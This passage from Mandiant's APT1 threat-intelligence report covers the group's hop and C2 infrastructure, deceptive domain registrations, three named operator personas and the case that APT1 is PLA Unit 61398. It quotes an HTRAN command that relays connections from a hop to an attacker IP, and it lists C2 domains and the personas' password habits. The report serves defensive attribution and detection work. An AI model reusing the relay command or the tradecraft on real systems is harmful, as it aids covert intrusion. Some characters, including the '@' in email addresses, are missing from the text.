This interface sometimes runs on their personal attack system, which is typically in Shanghai.
In these instances, when a victim backdoor makes contact with a hop, the communications need to be forwarded from the hop to the intruders Shanghai system so the backdoor can talk to the C2 server software.
We have observed 767 separate instances in which APT1 intruders used the publicly available HUC Packet Transmit Tool or HTRAN on a hop.
As always, keep in mind that these uses are confirmed uses, and likely represent only a small fraction of APT1s total activity.
The HTRAN utility is merely a middle-man, facilitating connections between the victim and the attacker who is using the hop point.
0100100001 0100100001 01010100010101010001 C2HTRAN FIGure 22: the htran tool resides on aPt1 hop points and acts as a middle-man Mandiant APT1 42 www.mandiant.com Typical use of HTRAN is fairly simple: the attacker must specify the originating IP address (of his or her workstation in Shanghai), and a port on which to accept connections.
For example, the following command, which was issued by an APT1 actor, will listen for incoming connections on port 443 on the hop and automatically proxy them to the Shanghai IP address 58.247.242.254 on port 443: htran -tran 443 58.247.242.254 443 In the 767 observed uses of HTRAN, APT1 intruders supplied 614 distinct routable IP addresses.
In other words, they used their hops to function as middlemen between victim systems and 614 different addresses.
Of these addresses, 613 of 614 are part of APT1s home networks: taBLe 9: net blocks corresponding to IP addresses used to receive htran communications number net block registered owner 340 223.166.0.0 - 223.167.255.255 China Unicom Shanghai Network 160 58.246.0.0 - 58.247.255.255 China Unicom Shanghai Network 102 112.64.0.0 - 112.65.255.255 China Unicom Shanghai Network 11 139.226.0.0 - 139.227.255.255 China Unicom Shanghai Network 1 143.89.0.0 - 143.89.255.255 Hong Kong University of Science and Technology C2 SERVER SOFTWARE ON HOP INFRASTRUCTURE Occasionally, APT1 attackers have installed C2 server components on systems in their hop infrastructure rather than forwarding connections back to C2 servers in Shanghai.
In these instances they do not need to use a proxy tool like HTRAN to interact with victim systems.
However, it does mean that the intruders need to be able to interface with the (often graphical) C2 server software running on the hop.
We have observed APT1 intruders log in to their hop point, start the C2 server, wait for incoming connections, and then proceed to give commands to victim systems.
WEBC2 variants may include a server component that provides a simple C2 interface to the intruder.
This saves the intruder from having to manually edit webpages.
That is, this server component receives connections from victim backdoors, displays them to the intruder, and then translates the intruders commands into HTML tags that the victim backdoors read.
Mandiant APT1 43 www.mandiant.com APT1 Servers In the last two years alone, we have confirmed 937 APT1 C2 servers  that is, actively listening or communicating programs  running on 849 distinct IP addresses.
However, we have evidence to suggest that APT1 is running hundreds, and likely thousands, of other servers (see the Domains section below).
The programs acting as APT1 servers have mainly been: (1) FTP, for transferring files (2) web, primarily for WEBC2 (3) RDP, for remote graphical control of a system (4) HTRAN, for proxying and (5) C2 servers associated with various backdoor families (covered in Appendix C: The Malware Arsenal).
China (709) US (109) South Korea (11) Taiwan (6) Canada (3) Australia (2) Mexico (2) Norway (2) Belgium (1) Denmark (1) Indonesia (1) India (1) Singapore (1) Global distribution of confirmed APT1 servers 223.166.0.0 - 223.167.255.255: 406 (Shanghai) 58.246.0.0 - 58.247.255.255: 180 (Shanghai) 112.64.0.0 - 112.65.255.255: 93 (Shanghai) 139.226.0.0 - 139.227.255.255: 19 (Shanghai) Other: 11 (including 7 in Hong Kong) Distribution of confirmed APT1 servers in China FIGure 23: the global distribution of confirmed aPt1 servers Mandiant APT1 44 www.mandiant.com Domain Names The Domain Name System (DNS) is the phone book of the Internet.
In the same way that people program named contacts into their cell phones and no longer need to remember phone numbers, DNS allows people to remember names like google.com instead of IP addresses.
When a person types google.com into a web browser, a DNS translation to an IP address occurs so that the persons computer can communicate with Google.
Names that can be translated through DNS to IP addresses are referred to as Fully Qualified Domain Names (FQDNs).
0100100001 0100100001 01010100010101010001 ug-co.hugesoft.org 1010010010100101 1001100100011010100 1001100100011 DNS QUERY Heres the IP address C2 FIGure 24: Dns queries are used to resolve aPt1 FQDns to many C2 server IPs Mandiant APT1 45 www.mandiant.com APT1s infrastructure includes FQDNs in addition to the IP addresses discussed above.
The FQDNs play an important role in their intrusion campaigns because APT1 embeds FQDNs as C2 addresses within their backdoors.
In the last several years we have confirmed 2,551 FQDNs attributed to APT1.
Of these, we have redacted FQDNs that implicated victims by name and provided 2,046 in Appendix D. By using FQDNs rather than hard- coded IP addresses as C2 addresses, attackers may dynamically decide where to direct C2 connections from a given backdoor.
That is, if they lose control of a specific hop point (IP address) they can point the C2 FQDN address to a different IP address and resume their control over victim backdoors.
This flexibility allows the attacker to direct victim systems to myriad C2 servers and avoid being blocked.
APT1 FQDNs can be grouped into three categories: (1) registered zones, (2) third-party zones, and (3) hijacked domains.
REGISTERED ZONES A DNS zone represents a collection of FQDNs that end with the same name, and which are usually registered through a domain registration company and controlled by a single owner.
For example, hugesoft.org is an FQDN but also represents a zone.
The FQDNs ug-co.hugesoft.org and 7cback.hugesoft.org are part of the hugesoft.
org zone and are called subdomains of the zone.
The person who registered hugesoft.org may add as many subdomains as they wish and controls the IP resolutions of these FQDNs.
APT1 has registered at least 107 zones since 2004.
Within these zones, we know of thousands of FQDNs that have resolved to hundreds of IP addresses (which we suspect are hops) and in some instances to APT1s source IP addresses in Shanghai.
The first zone we became aware of was hugesoft.
org, which was registered through eNom, Inc. in October 2004.
The registrant supplied uglygorilla163.com as an email address.
The supplied registration information, which is still visible in public whois data as of February 3, 2013, includes the following: APT1 Zone Registrations hugesoft.org ustvb.com uszzcs.com hvmetal.com hkcastte.com attnpower.com ifexcel.com bpyoyo.com skyswim.net cslisten.com bigish.net chileexe77.com issnbgkit.net progammerli.com idirectech.com livemymsn.com webservicesupdate.com giftnews.org onefastgame.net conferencesinfo.com 5 zones created cometoway.org 6 zones created 6 zones created usnftc.org phoenixtvus.com ushongkong.org newsesport.com youipcam.com olmusic100.com todayusa.org bluecoate.com 4 zones created bigdepression.net arrowservice.net blackcake.net businessconsults.net infosupports.com newsonet.net purpledaily.com avvmail.com shepmas.com syscation.com tibethome.org microsoft-update-info.com busketball.com comrepair.net gmailboxes.com oplaymagzine.com maltempata.com nirvanaol.com 7 zones created cnndaily.com myyahoonews.com satellitebbs.com msnhome.org usabbs.org ns06.net 6 zones created copporationnews.com 7 zones created nytimesnews.net cnnnewsdaily.com applesoftupdate.com 4 zones created micyuisyahooapis.com infobusinessus.org 2004 2005 2006 2007 2008 2009 2010 2011 2012 Mandiant APT1 46 www.mandiant.com Domain Name:HUGESOFT.ORG Created On:25-Oct-2004 09:46:18 UTC Registrant Name:huge soft Registrant Organization:hugesoft Registrant Street1:shanghai Registrant City:shanghai Registrant State/Province:S Registrant Postal Code:200001 Registrant Country:CN Registrant Phone:86.21000021 Registrant Email:uglygorilla163.com The supplied registrant information does not need to be accurate for the zone to be registered successfully.
For example, shanghai is not a street name.
Nevertheless, it is noteworthy that Shanghai appeared in the first known APT1 domain registration, along with a phone number that begins with Chinas 86 international code.
In fact, Shanghai was listed as the registrants city in at least 24 of the 107 (22) registrations.
Compare this to the frequency with which other cities appeared in APT1 zone registration information: taBLe 10: Locations supplied in registration data other than shanghai, China number City state Country 7 Beijing - China 5 Calgary Canada 4 Guizhou - China 4 Pasadena CA US 4 Houston TX US 3 Sydney Australia 3 Salt Lake UT US 3 Washington, DC US 2 Homewood AL US 2 Kalkaska MI US 2 Shallotte NC US 2 Yellow Spring OH US 2 New York NY US 2 Provo UT US 2 Shenzhen - China 1 Birmingham AL US 1 Scottsdale AZ US 1 Sunnyvale CA US 1 Albany NY US 1 Pearl River NY US 1 Chicago - US 1 Moscow - Guatemala 1 Nanning - China 1 Wuhua - China 27 Registration information blocked or not available Mandiant APT1 47 www.mandiant.com Some of the supplied registration information is obviously false.
For example, consider the registration information supplied for the zone uszzcs.com in 2005: Victor etejedaayahoo.com 86.8005439436 Michael Murphy 795 Livermore St. Yellow Spring,Ohio,UNITED STATES 45387 Here, a phone number with a Chinese prefix (86) accompanied an address in the United States.
Since the United States uses the prefix 1, it is highly unlikely that a person living in Ohio would provide a phone number beginning with 86.
Additionally, the city name is spelled incorrectly, as it should be Yellow Springs instead of Yellow Spring.
This could have been attributed to a one-time spelling mistake, except the registrant spelled the city name incorrectly multiple times, both for the zones uszzcs.com and attnpower.com.
This suggests that the registrant really thought Yellow Spring was the correct spelling and that he or she did not, in fact, live or work in Yellow Springs, Ohio.
Overall, the combination of a relatively high number of Shanghai registrations with obviously false registration examples in other registrations suggests a partially uncoordinated domain registration campaign from 2004 until present, in which some registrants tried to fabricate non-Shanghai locations but others did not.
This is supported by contextual information on the Internet for the email address lfengg163.com, which was supplied in the registration information for seven of the 107 zones.
On the site www.china-one.org, the email address lfengg163.com appears as the contact for the Shanghai Kai Optical Information Technology Co., Ltd., a website production company located in a part of Shanghai that is across the river from PLA Unit 61398.
FIGure 25: an email address used to register aPt1 zones is also a contact for a shanghai company Mandiant APT1 48 www.mandiant.com naming themes About half of APT1s known zones were named according to three themes: news, technology and business.
These themes cause APT1 command and control addresses to appear benign at first glance.
However, we believe that the hundreds of FQDNs within these zones were created for the purpose of APT1 intrusions.
(
Note: these themes are not unique to APT1 or even APT in general.)
The news-themed zones include the names of well-known news media outlets such as CNN, Yahoo and Reuters.
However, they also include names referencing English-speaking countries, such as aunewsonline.com (Australia), canadatvsite.com (Canada), and todayusa.org (U.S.).
Below is a list of zones registered by APT1 that are news- themed: aoldaily.com aunewsonline.com canadatvsite.com canoedaily.com cnndaily.com cnndaily.net cnnnewsdaily.com defenceonline.net freshreaders.net giftnews.org issnbgkit.net mediaxsds.net myyahoonews.com newsesport.com newsonet.net newsonlinesite.com newspappers.org nytimesnews.net oplaymagzine.com phoenixtvus.com purpledaily.com reutersnewsonline.com rssadvanced.org saltlakenews.org sportreadok.net todayusa.org usapappers.com usnewssite.com yahoodaily.com The technology-themed zones reference well-known technology companies (AOL, Apple, Google, Microsoft), antivirus vendors (McAfee, Symantec), and products (Blackberry, Bluecoat).
APT1 also used more generic names referencing topics like software: aolon1ine.com applesoftupdate.com blackberrycluter.com bluecoate.com comrepair.net dnsweb.org downloadsite.me firefoxupdata.com globalowa.com gmailboxes.com hugesoft.org idirectech.com ifexcel.com infosupports.com livemymsn.com mcafeepaying.com microsoft-update-info.com micyuisyahooapis.com msnhome.org pcclubddk.net progammerli.com softsolutionbox.net symanteconline.net webservicesupdate.com Finally, some zones used by APT1 reflect a business theme.
The names suggest websites that professionals might visit: advanbusiness.com businessconsults.net businessformars.com companyinfosite.com conferencesinfo.com copporationnews.com infobusinessus.org jobsadvanced.com Not every zone stays within APT1s control forever.
Over a campaign lasting for so many years, APT1 has not always renewed every zone in their attack infrastructure.
Additionally, while some have simply been allowed to expire, others have been transferred to the organizations that the domain names attempted to imitate.
For example, in September 2011, Yahoo filed a complaint against zheng youjun of Arizona, USA, who registered the APT1 zone myyahoonews.com.37 Yahoo alleged the myyahoonews.com domain name was confusingly similar to Complainants YAHOO mark and that [zheng youjun] registered and used the myyahoonews.com domain name in bad faith.
In response, the National Arbitration Forum found that the site myyahoonews.com at the time resolved 37  Yahoo Inc. v. Zheng National Arbitration Forum Claim Number: FA1109001409001, (October 31, 2011) (Tyrus R. Atkinson, Jr., panelist), http:// domains.adrforum.com/domains/decisions/1409001.htm, accessed February 6, 2013.
Mandiant APT1 49 www.mandiant.com to a phishing web page, substantially similar to the actual WorldSID website...in an effort to collect login credentials under false pretenses.
Not surprisingly, zheng youjun did not respond.
Subsequently, control of myyahoonews.
com was transferred from APT1 to Yahoo.
third-Party services The third-party service that APT1 has used the most is known as dynamic DNS.
This is a service that allows people to register subdomains under zones that other people have registered and provided to the service.
Over the years, APT1 has registered hundreds of FQDNs in this manner.
When they need to change the IP resolution of an FQDN, they simply log in to these services and update the IP resolution of their FQDN via a web-based interface.
In addition to dynamic DNS, recently we have observed that APT1 has been creating FQDNs that end with appspot.com, suggesting that they are using Googles App Engine service.
hijacked FQDns APT1 intruders often use the FQDNs that are associated with legitimate websites hosted by their hop points.
We consider these domains to be hijacked because they were registered by someone for a legitimate reason, but have been leveraged by APT1 for malicious purposes.
APT1 uses hijacked FQDNs for two main purposes.
First, they place malware (usually in ZIP files) on the legitimate websites hosted on the hop point and then send spear phishing emails with a link that includes the legitimate FQDN.
Second, they embed hijacked FQDNs as C2 addresses in their backdoors.
EVIDENCE OF A VAST INFRASTRUCTURE As noted above, we have confirmed the existence of 937 servers (listening applications) hosted on 849 distinct IP addresses, with the majority of IP addresses registered to organizations in China (709), followed by the U.S. (109).
In the last three years we have observed APT1 FQDNs resolving to 988 unique IP addresses that we believe are not sinkhole38 or domain parking39 IP addresses: United States: 559 China: 263 Taiwan: 25 Korea: 22 United Kingdom: 14 Canada: 12 Other: 83 38  A sinkhole is a server that accepts redirected connections for known malicious domains.
Attempted connections to C2 FQDNs are redirected to sinkholes once malicious zones are re-registered by research organizations or security companies in coordination with registration companies.
39  Some IP addresses are used for domain parking once the original registrant loses control of a zone or otherwise-registered FQDN, e.g., when the zone expires.
These IP addresses usually host advertisements.
Mandiant APT1 50 www.mandiant.com The vast majority of the Chinese IP addresses again belong to APT1s home networks, meaning that in some instances APT1 intruders probably communicated directly to victim systems from their Shanghai systems, bypassing their hop infrastructure: taBLe 11: aPt1 FQDns have resolved to IP addresses within these Chinese net blocks number net block registered owner 150 223.166.0.0 - 223.167.255.255 China Unicom Shanghai Network 68 58.246.0.0 - 58.247.255.255 China Unicom Shanghai Network 10 112.64.0.0 - 112.65.255.255 China Unicom Shanghai Network 7 114.80.0.0 - 114.95.255.255 China Telecom Shanghai Network 5 139.226.0.0 - 139.227.255.255 China Unicom Shanghai Network 4 222.64.0.0 - 222.73.255.25 China Telecom Shanghai Network 3 116.224.0.0  116.239.255.255 China Telecom Shanghai Network 16 Other (Non-Shanghai) These statistics indicate that there are over 400 IP addresses in the U.S. alone that may have active APT1 servers, which are as-yet unconfirmed by Mandiant.
Additionally, although we know of over 2,500 APT1 FQDNs, there are many APT1 FQDNs that we have not attributed to APT1, which have resolved to even more IP addresses.
We estimate (conservatively) that APT1s current hop infrastructure includes over 1,000 servers.
Mandiant APT1 51 www.mandiant.com aPt1: IDentItIes APT1 is not a ghost in a digital machine.
In our effort to underscore that there are actual individuals tasked by the PLA behind APT1s keyboards, we have decided to expose the identities of a select number of APT1 personas.
These actors have made poor operational security choices, facilitating our research and allowing us to track their activities.
They are some of the authors of APT1s digital weapons and the registrants of APT1 FQDNs and email accounts.
These actors have expressed interest in Chinas cyber warfare efforts, disclosed their locations to be the Pudong New Area of Shanghai, and have even used a Shanghai mobile phone number to register email accounts used in spear phishing campaigns.
Methods for attributing APT personnel often involve the synthesis of many small pieces of information into a singular comprehensive picture.
Often this unified viewpoint reveals not only the group attribution, but coherent pockets of behavior within the group which we perceive to be either small teams or individual actors.
We refer to these as personas.
As APT1 personas manage technical resources such as hops and Fully Qualified Domain Names (FQDNs), they have been observed to de-conflict their actions amongst themselves by coordinating the use of specific hops, FQDNs, CNO tools (e.g., malware) and ports.
One additional element working in our favor as threat trackers is the Great Firewall of China (GFWoC).
Like many Chinese hackers, APT1 attackers do not like to be constrained by the strict rules put in place by the Communist Party of China (CPC), which deployed the GFWoC as a censorship measure to restrict access to web sites such as google.
com, facebook.com, and twitter.com.
Additionally, the nature of the hackers work requires them to have control of network infrastructure outside the GFWoC.
This creates a situation where the easiest way for them to log into Facebook and Twitter is directly from their attack infrastructure.
Once noticed, this is an effective way to discover their real identities.
what is the Great Firewall of China?
The Great Firewall is a term used to describe the various technical methods used by the Chinese government to censor and block or restrict access to Internet services and content that the government considers sensitive or inappropriate.
Inappropriate content ranges from pornography to political dissent, and from social media to news sites that may portray China or Chinese officials in a negative light.
The Great Firewall uses methods such as blocking particular IP addresses blocking or redirecting specific domain names filtering or blocking any URL containing target keywords and rate-limiting or resetting TCP connections.
Chinese censors also routinely monitor Chinese websites, blogs, and social media for inappropriate content, removing it when found.
As a result, Chinese citizens who wish to access censored content must resort to workarounds such as the use of encryption.
China continues to improve and further restrict Internet access, most recently (in December 2012) by blocking additional services and limiting or blocking the use of encryption technologies such as Virtual Private Networks.
Mandiant APT1 52 www.mandiant.com APT1 Hacker Profile: Ugly Gorilla (Wang Dong/) The story of Ugly Gorilla (UG) dates back to 2004.
A then-professor named Zhang Zhaozhong ( ), now a retired rear admiral, was in the process of helping to shape the future of Chinas information warfare strategy.40 Professor Zhang was already a strong advocate for the informationization of military units, and had published several works on military strategy including Network Warfare () and Winning the Information War ().
As Director of the Military Technology and Equipment () department at Chinas National Defense University (), professor Zhang was invited to take part in an event titled Outlook 2004: The International Strategic Situation in January 2004.
During the online question and answer session hosted by the PLA Dailys () China Military Online (), one young man with the nickname Greenfield () posed a particularly prescient question.
Professor Zhang, I read your book network warfare and was deeply impressed by the views and arguments in the book.
It is said that the u.s.
military has set up a dedicated network force referred to as a cyber army.
Does China have a similar force?
Does China have cyber troops?
UglyGorilla 16 Jan 2004 Like all users of the China Military Online (chinamil) forums, Greenfield was required to sign up with an email address and specify a small bit of information about himself.
Thankfully, the Internets tendency to immortalize data preserved the profile details for us.
40 http://www.chinamil.com.cn/site1/gflt/2004-09/30/content_705216.htm FIGure 26: Professor Zhang () 16 Jan 2004, source http://www.chinamil.com.cn/site1/gflt/2004-09/30/ content_705216.htm Mandiant APT1 53 www.mandiant.com FIGure 27: uglyGorilla chinamil profile, source: http://bbs.chinamil.com.cn/forum/bbsui.jsp?id(o)5681 Mandiant APT1 54 www.mandiant.com FIGure 28: uglyGorilla chinamil profile translated by translate.google.com/ Thus, the persona we call UglyGorilla (UG) was first documented.
In addition to his email address, UG listed his real name as JackWang.
Within the year, we saw the first evidence of UG honing the tools of his trade.
On October 25, 2004, UG registered the now infamous hugesoft.org zone.
The hugesoft.org zone and its many APT1-attributed hostnames have remained active and under the continuous ownership of UG, and are still active as of the time of this report.
Registration information was most recently updated on September 10, 2012, extending the registration period for the zone well into 2013.
We may see UG relinquish this and other attributed zones as a result of this reporting, in an effort to deter further tracking and attribution.
In 2007, UG authored the first known sample of the MANITSME family of malware and, like a good artist, left his clearly identifiable signature in the code: v1.0 No Doubt to Hack You, Writed by UglyGorilla, 06/29/2007[sic].
UGs tendency to sign his work is present in the strings he chooses for hostnames and even within the communications protocols his backdoors use.
For example, what is a meat chicken?
?
Chinese Hacker Slang: rouji (  )  Meat Chicken n.  An infected computer Example strings from MANITSME samples: d:\My Documents\Visual Studio Projects\rouji\SvcMain.pdb Examples from other malware connecting to rouji welcome to (rouji) Mandiant APT1 55 www.mandiant.com hostnames within other APT1-attributed FQDNs such as arrowservice.net and even the newer msnhome.org continue to leave UGs imprint (note the ug in the domains): ug-opm.hugesoft.org ug-rj.arrowservice.net ug-hst.msnhome.org Though these kinds of obvious attribution links tapered off as UG became more experienced, the protocol signatures of his tools such as MANITSME and WEBC2-UGX continue to be used by APT1 attackers based out of Shanghai.
UGs consistent use of the username UglyGorilla across various Web accounts has left a thin but strong thread of attribution through many online communities.
In most instances, content such as hacking tools, information security topics, and association with the Shanghai locality are reasonable ways to eliminate false positives.
For example, in February of 2011, the disclosure of all registered rootkit.com accounts published by Anonymous included the user uglygorilla with the registered email address uglygorilla163.com.
This is the same email used to register for the 2004 PLA forum and the zone hugesoft.org.
Included in the rootkit.com leaked account information was the IP address 58.246.255.28, which was used to register UGs account directly from the previously discussed APT1 home range: 58.246.0.0/15.
In a few of these accounts, UG has listed something other than JackWang as his real name.
On February 2, 2006, a user named uglygorilla uploaded a file named mailbomb_1.08.zip (a bulk email tool) to the Chinese developer site PUDN (www.pudn.com).
His account details from PUDN included the real name Wang Dong ().
Figure 29: Wang Dongs uploaded Files to pudn.com It is important to note two things at this point.
First, Chinese names begin with the surname.
So Wang is the last name in .
Second, it is a fairly common practice for the Chinese, even in China, to choose an English first name.
Thus JackWang may not have been an alias at all.
Mandiant APT1 56 www.mandiant.com APT1 Hacker Profile: DOTA Another APT1 persona is dota (DOTA), named for his strong tendency to use variants of that name in almost all accounts he creates and uses from his attack infrastructure.
DOTA may have taken his name from the video game Defense of the Ancients which is commonly abbreviated DotA, though we have yet to observe any direct link or other direct reference to the game.
We have monitored the creation of dozens of accounts, including d0ta010hotmail.com and dota.d013gmail.com, and have often seen DOTA create several sequential accounts (for example dota.d001 through dota.d015) at web- based email services.
Most often these accounts are used in social engineering and phishing attacks or as the contact email address when signing up for other services.
For example, DOTA (originating from the APT1 home range IP address 58.247.26.59) with a Simplified Chinese keyboard setting used the email address d0ta001hotmail.com from his US hop to register the Facebook user do.ta.5011(Facebook user id: 100002184628208).
Some services, such as Googles Gmail, require users to provide a phone number during the registration process to which they send a validation text message containing a verification code.
The user must then input the verification code on the website to finalize registration.
In an observed session on a compromised machine, DOTA used the phone number 159-2193-7229 to receive a verification text message from Google, which he then submitted to their page within seconds.
Telephone numbers in China are organized into a hierarchy containing an area code, prefix, and line number similar to phone numbers in the United States, with the addition that a few area codes are allocated for use by mobile phone providers.
The phone number 159-2193-7229 breaks down into the 159 area code, which indicates a mobile phone provided by China Mobile, and the prefix 2193, which indicates a Shanghai mobile number.
This means at the very least that the number was initially allocated by China Mobile for use in Shanghai.
The speed of DOTAs response also indicates that he had the phone with him at the time.
We have also observed DOTA using the names Rodney and Raith to communicate via email in fluent English with various targets including South East Asian military organizations in Malaysia and the Philippines.
It is unclear if this Gmail account is used exclusively for facilitating his CNO mission, but much of the traffic indicates its use in both simple phishing attacks, as well as more sophisticated email based social engineering.
Dota: a harry Poter fan?
The DOTA persona also appears to be a fan of the popular Harry Potter character, frequently setting accounts security questions such as Who is your favorite teacher?
and Who is your best childhood friend?
to the values Harry and Poter and creating accounts such as poter.spo1gmail.
com with the alternate email address set to dota.sb005gmail.com.
Mandiant APT1 57 www.mandiant.com Figure 30: dota.d001gmail.com (inbox view)41 When creating dozens, or hundreds, of accounts in online communities and on victim systems, password management becomes a significant undertaking.
Consequently, most APT1 attackers use passwords that are either pattern-based, such as the keyboard pattern 1qaz2wsx or highly memorable, using rootkit as a password on the information security research site rootkit.com.
Like many APT1 attackers, DOTA frequently uses keyboard based patterns as passwords such as 1qazWSXEDC.
However, there is one password 2j3c1k extensively used by DOTA that is not based on a keyboard pattern, though he may not be the only APT1 actor that uses it.
A numbered j, followed by a numbered c, and then a numbered k is likely shorthand (j/c/k) for the ju/chu/ke () organizational structure (translated to Bureau/Division (or Office)/Section) widely used within PLA General Staff Department organizations.
Project 2049 describes the typical PLA organizational structure as, Bureau-level directors  oversee between six and 14 subordinate sites or offices [chu ] Sites/offices under bureaus are further divided into sections 41 This is a screen capture of DOTA accessing his Gmail account while using a compromised system on APT1s attack infrastructure.
Mandiant APT1 58 www.mandiant.com [ke ].42 Given this pattern, it is likely that the password 2j3c1k stands for 2nd Bureau [Unit 61398], 3rd Division, 1st Section, demonstrating that those who use these patterns are working together and affiliate themselves to the 2nd Bureau.
Attempting to track the DOTA persona back to a particular individual is difficult the trail of his activity does not link as clearly to a real world identity.
However, Mandiant has been able to establish a clear link between UG and DOTA.
Specifically, we have observed the two using shared APT1 infrastructure, FQDNs, and egress IP address ranges.
The coordination of this shared infrastructure, combined with their close proximity and association with Unit 61398 makes it highly likely that, at the very least, UG and DOTA know each other personally and likely even work together.
APT1 Hacker Profile: SuperHard (Mei Qiang/) The third and final persona we are revealing has been dubbed SuperHard (SH).
SH was first observed as a tool author, and is either the creator or a significant contributor to the AURIGA and BANGAT malware families (covered in Appendix C: The Malware Arsenal).
Similarly to UG, SH signs much of his work by embedding strings within the tools.
In particular, elements of the portable executable (PE) files VS_VERSIONINFO structure are frequently set to SuperHard, or cmd.exe copies are modified from Microsoft corp.
to superhard corp.
Additionally, many of SHs tools contain driver modules designed to be loaded into the Windows kernel in order to subvert elements of the system.
While not unique for APT1 coders, this level of development expertise is certainly a discriminator that puts SH into a smaller group of highly capable developers within APT1.
Often, SHs tools are observed in use by other APT1 personae and in several instances, other APT groups we track.
Given that SHs tools are used by other APT1 actors, and that there are no indications that SH is a full-time operator, we believe that SH is primarily involved in research and development for APT1.
Once again, in tracking SH we are fortunate to have access to the accounts disclosed from rootkit.com.
The rootkit.
com account SuperHard_M was originally registered from the IP address 58.247.237.4, within one of the known APT1 egress ranges, and using the email address mei_qiang_82sohu.com.
We have observed the DOTA persona emailing someone with the username mei_qiang_82.
The name Mei Qiang () is a reasonably common Chinese last/first name combination.
Additionally, it is a common practice for Chinese netizens to append the last two digits of their birth year, suggesting that SuperHard is in fact Mei Qiang and was born in 1982.
Unfortunately, there are several Mei Qiang identities online that claim a birth year of 1982, making attribution to an individual difficult.
Fortunately, we can use SHs email address to connect him to a number of Websites and forums on which he registered and contributed using that address.
Many of these accounts reveal details that reinforce SHs link to the mei_qiang_82sohu.com43 email address and APT1 affiliation, such as SH offering to write Trojans for money, his involvement with malicious Windows kernel research (incidentally, also commented on by greenfield, possibly UG), and more recently, being local to Shanghais Pudong New Area.44 42 Mark A. Stokes, Jenny Lin, and L.C.
Russell Hsiao, The Chinese Peoples Liberation Army Signals Intelligence and Cyber Reconnaissance Infrastructure, Project 2049 Institute (2011): 6-7, http://project2049.net/documents/pla_third_department_sigint_cyber_stokes_lin_hsiao.pdf, accessed February 6, 2013.
43 Sohu.com is a popular Chinese search engine, webmail, and Internet advertising company based out of Beijing China.
44 hxxp://tuziw.com/index.php?mtaid1864863532 Mandiant APT1 59 www.mandiant.com ConCLusIon In a State that rigorously monitors Internet use, it is highly unlikely that the Chinese Government is unaware of an attack group that operates from the Pudong New Area of Shanghai.
The detection and awareness of APT1 is made even more probable by the sheer scale and sustainment of attacks that we have observed and documented in this report.
Therefore the most probable conclusion is that APT1 is able to wage such a long-running and extensive cyber espionage campaign because it is acting with the full knowledge and cooperation of the government.
Given the mission, resourcing, and location of PLA Unit 61398, we conclude that PLA Unit 61398 is APT1.
Table 12 summarizes the parallels between APT1 and PLA Unit 61398.
taBLe 12: Matching characteristics between aPt1 and unit 61398 Characteristic aPt1 (as directly observed) unit 61398 (as reported) Mission area  Steals intellectual property from English- speaking organizations Targets strategic emerging industries identified in Chinas 12th Five Year Plan Conducts computer network operations against English-speaking targets tools, tactics, and Procedures (ttPs) Organized, funded, disciplined operators with specific targeting objectives and a code of ethics (e.g., we have not witnessed APT1 destroy property or steal money which contrasts most hackers and even the most sophisticated organize crime syndicates) Conducts military-grade computer network operations scale of operations  Continuously stealing hundreds of terabytes from 141 organizations since at least 2006 simultaneously targeting victims across at least 20 major industries Size of hop infrastructure and continuous malware updates suggest at least dozens (but probably hundreds) of operators with hundreds of support personnel As part of the PLA, has the resources (people, money, influence) necessary to orchestrate operation at APT1s scale Has hundreds, perhaps thousands of people, as suggested by the size for their facilities and position within the PLA Mandiant APT1 60 www.mandiant.com Characteristic aPt1 (as directly observed) unit 61398 (as reported) expertise of personnel English language proficiency Malware authoring Computer hacking Ability to identify data worth stealing in 20 industries English language requirements Operating system internals, digital signal processing, steganography Recruiting from Chinese technology universities Location  APT1 actor used a Shanghai phone number to register email accounts Two of four home Shanghai net blocks are assigned to the Pudong New Area Systems used by APT1 intruders have Simplified Chinese language settings An APT1 personas self-identified location is the Pudong New Area Headquarters and other facilities spread throughout the Pudong New Area of Shanghai, China Infrastructure  Ready access to four main net blocks in Shanghai, hosted by China Unicom (one of two Tier 1 ISPs in China) Some use of China Telecom IP addresses (the other Tier 1 ISP) Co-building network infrastructure with China Telecom in the name of national defense Combining our direct observations with carefully researched and correlated findings we believe the facts dictate only two possibilities: either A secret, resourced organization full of mainland Chinese speakers with direct access to Shanghai-based telecommunications infrastructure is engaged in a multi-year, enterprise scale computer espionage campaign right outside of Unit 61398s gates, performing tasks similar to Unit 61398s known mission.
or APT1 is Unit 61398.
Mandiant APT1 61 www.mandiant.com aPPenDIx a: how Does ManDIant DIstInGuIsh threat GrouPs?
Mandiant uses the term threat group to refer to a collection of intruders who are working together to target and penetrate networks of interest.
These individuals may share the same set of tasks, coordinate their targets, and share tools and methodology.
They work together to gain access to their targets and steal data.
Therefore, a group is ultimately defined by people and not by methodology.
However, defining a threat group based on observed intrusion activity is not so simple.
Without seeing who is sitting behind the keyboard it may be difficult to determine whether two different intrusion events were conducted by the same person, by two people who are working together, by two unrelated people who independently compromised the same network, or even the same computer.
Different groups may use similar intrusion methodology and common tools, particularly those that are widely available on the Internet, such as pwdump, HTRAN, or Gh0st RAT.
Furthermore, there may be overlaps between groups caused by the sharing of malware or exploits they have authored, or even the sharing of personnel.
Individual intruders may move between groups either temporarily or permanently.
An intruder may be a private citizen who is hired by multiple groups.
Finally, multiple groups may work together on occasion to compromise the same target.
Nevertheless, distinguishing one threat group from another is possible with enough information, analytical experience, and the technological tools to piece it all together.
Consider an analogy with the physical world: imagine a thief who leaves behind traces of his crime at various crime scenes.
Individual robberies may vary in many details: The method the thief used to break in The tools used to open the safe Whether the thief carefully selected a particular item to steal, or took everything in the hope that he managed to grab something of value Whether the thief carefully researched their target, disabled alarms, and attempted to remove evidence such as fingerprints or whether he was not very careful, but simply relied on being stealthy enough to not get caught.
Mandiant APT1 62 www.mandiant.com Forensic scientists can analyze multiple crime scenes and be able to tell by the evidence left behind that a given crime scene was the result of one thief and not another.
In a similar way, cyber intruders leave behind various digital fingerprints.
They may send spear-phishing emails from a specific IP address or email address.
Their emails may contain certain patterns of subject lines.
Their files have specific names, MD5 hashes, timestamps, custom functions, and encryption algorithms.
Their backdoors may have command and control IP addresses or domain names embedded.
These are just a few examples of the myriad of linkages that computer forensic analysts consider when trying to distinguish one cyber threat group from another.
Digital fingerprints do not all carry equal weight in attribution analysis.
Their validity or value as indicators of a specific threat group depends largely on their likelihood of uniqueness.
For example, the use of a widely available tool such as HTRAN is not unique and not useful  by itself  as an indicator of a specific threat group.
In contrast, the use of a specific, custom backdoor not observed elsewhere is a much stronger indicator  although it is generally still not sufficient, on its own, for positive attribution.
At the most basic level, we say that two intrusion events are attributed to the same group when we have collected enough indicators to show beyond a reasonable doubt that the same person or group of people were involved.
